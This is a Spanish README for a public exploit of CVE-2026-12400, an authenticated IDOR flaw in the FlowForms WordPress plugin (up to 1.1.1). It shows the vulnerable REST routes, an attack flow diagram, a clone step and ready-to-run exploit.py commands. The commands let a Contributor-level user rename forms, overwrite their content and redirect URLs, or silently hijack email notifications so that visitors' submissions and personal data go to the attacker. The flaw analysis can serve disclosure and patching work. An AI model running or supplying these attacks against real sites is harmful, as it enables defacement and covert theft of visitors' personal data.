
# Exploit IDOR autenticado de WordPress para CVE-2026-12400; enumera IDs de formularios REST de FlowForms y modifica el contenido de los formularios o secuestra las notificaciones por correo electrónico.
Referencia directa insegura a objetos autenticada (Colaborador+) para modificación arbitraria de formularios en FlowForms ≤ 1.1.1
| Propiedad | Valor |
|---|---|
| ID de CVE | CVE-2026-12400 |
| Puntuación CVSS | 4.3 — Media |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Omisión de autorización mediante clave controlada por el usuario) |
| Producto | FlowForms — Plugin de formularios conversacionales para WordPress |
| Afectado | Todas las versiones hasta 1.1.1 inclusive |
| Corregido en | Corregido en 1.1.2 |
| Investigador | Phantom Hat |
Estudio de caso completo de caja blanca con análisis de código fuente, trazado de flujo de entrada y comparación de parches:
FlowForms expone dos endpoints de la API REST bajo el espacio de nombres flowforms/v1 que son vulnerables:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Ambos aceptan un {id} controlado por el usuario en la ruta URL y modifican los datos del formulario objetivo: nombre, contenido, diseño, URL de redirección y destinatarios de notificaciones por correo electrónico.
Ambas rutas vulnerables comparten el mismo permission_callback defectuoso:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts es una capacidad que poseen los Colaboradores. El parámetro {id} nunca se verifica contra la propiedad del usuario solicitante: cualquier usuario autenticado puede atacar cualquier ID de formulario en el sitio.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate published forms
│<─ HTTP 200 ───────────────────────│ (any accessible form is a target)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content
│ with attacker payload ─────>│ ← no owner check
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications
│ /settings ─────────────────>│ ← attacker receives all
│<─ { "success": true } ────────────│ future form submissions
│ │
│ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔
| Modo | Endpoint | Impacto |
|---|---|---|
| name | /forms/{id} | Renombrar cualquier formulario — desfiguración, ingeniería social |
| content | /forms/{id} | Sobrescribir diseño, pantallas de bienvenida/agradecimiento, URL de redirección |
/forms/{id}/settings | Secuestrar correo de notificación — recibir silenciosamente todos los envíos de formularios |
El modo email es el más crítico. Tras el secuestro, cada envío al formulario de contacto de la víctima — incluyendo información de identificación personal (PII) de visitantes, mensajes y detalles de contacto — se reenvía silenciosamente a la dirección controlada por el atacante. El administrador del sitio no ve ninguna indicación del cambio.
Colaborador en el sitio objetivogit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Renombrar cualquier formulario con contenido controlado por el atacante:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
Sobrescribir diseño del formulario, pantallas, URL de redirección e imágenes de fondo:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
Redirigir todas las futuras notificaciones de envío de formularios a una dirección controlada por el atacante:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| Flag | Corto | Descripción | Requerido |
|---|---|---|---|
--url | -u | URL objetivo de WordPress | ✅ |
--user | Nombre de usuario de WordPress (Colaborador+) | ✅ | |
--password | Contraseña de WordPress | ✅ | |
--id-start | -i | ID de formulario inicial para enumerar | ✅ |
--num-forms | -n | Número de IDs de formulario a enumerar | ✅ |
--exploit | Modo de ataque: name / content / email | ✅ | |
--proxy | -p | URL del proxy (ej. http://127.0.0.1:8080) | ❌ |